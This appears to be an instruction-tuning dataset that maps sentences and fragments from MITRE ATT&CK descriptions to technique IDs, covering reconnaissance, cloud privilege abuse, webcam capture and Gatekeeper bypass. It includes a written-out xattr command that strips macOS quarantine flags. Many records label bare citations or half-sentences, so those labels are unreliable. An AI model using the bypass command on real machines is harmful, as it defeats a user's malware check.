"Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain.", "output": "T1177", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. ### Response: T1177."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication.", "output": "T1177", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. ### Response: T1177."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.", "output": "T1177", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. ### Response: T1177."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Security Subsystem)", "output": "T1177", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Security Subsystem) ### Response: T1177."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target lsass.exe drivers to obtain execution and/or persistence.", "output": "T1177", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target lsass.exe drivers to obtain execution and/or persistence. ### Response: T1177."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", "output": "T1177", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations. ### Response: T1177."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's organization that can be used during targeting.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's organization that can be used during targeting. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search)", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's business relationships that can be used during targeting.", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's business relationships that can be used during targeting. ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources. ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195),", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1591.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1591.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "output": "T1548", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ### Response: T1548."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Just-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Just-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation:", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Google Cloud Just in Time Access 2023)(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Google Cloud Just in Time Access 2023)(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account.(Citation: Google Cloud Service Account Authentication Roles)", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account.(Citation: Google Cloud Service Account Authentication Roles) ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation:", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries that compromise a sufficiently privileged account may grant another account they control", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries that compromise a sufficiently privileged account may grant another account they control ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features.", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)", "output": "T1548.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022) ### Response: T1548.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information.", "output": "T1125", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. ### Response: T1125."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.", "output": "T1125", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. ### Response: T1125."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images.", "output": "T1125", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. ### Response: T1125."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Video or image files may be written to disk and exfiltrated later.", "output": "T1125", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Video or image files may be written to disk and exfiltrated later. ### Response: T1125."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.", "output": "T1125", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. ### Response: T1125."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.", "output": "T1125", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. ### Response: T1125."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: objective-see 2017 review)", "output": "T1125", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: objective-see 2017 review) ### Response: T1125."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This completely bypasses the built-in Gatekeeper check.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This completely bypasses the built-in Gatekeeper check. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Methods of Mac Malware Persistence)", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Methods of Mac Malware Persistence) ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The presence of the quarantine flag can be checked by the xattr command <code>xattr", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The presence of the quarantine flag can be checked by the xattr command <code>xattr ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/path/to/MyApp.app</code> for <code>com.apple.quarantine</code>.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "xattr -r", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: xattr -r ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-d com.apple.quarantine /path/to/MyApp.app</code>.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -d com.apple.quarantine /path/to/MyApp.app</code>. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X) ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, this is all based on the file being downloaded from a quarantine-savvy application.", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, this is all based on the file being downloaded from a quarantine-savvy application. ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Bypassing Gatekeeper)", "output": "T1144", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Bypassing Gatekeeper) ### Response: T1144."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Software packing is a method of compressing or encrypting an executable.", "output": "T1045", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Software packing is a method of compressing or encrypting an executable. ### Response: T1045."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Packing an executable changes the file signature in an attempt to avoid signature-based detection.", "output": "T1045", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Packing an executable changes the file signature in an attempt to avoid signature-based detection. ### Response: T1045."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most decompression techniques decompress the executable code in memory.", "output": "T1045", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most decompression techniques decompress the executable code in memory. ### Response: T1045."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities used to perform software packing are called packers.", "output": "T1045", "text": "Below is an instruction that describes a task, paired with an input that provides 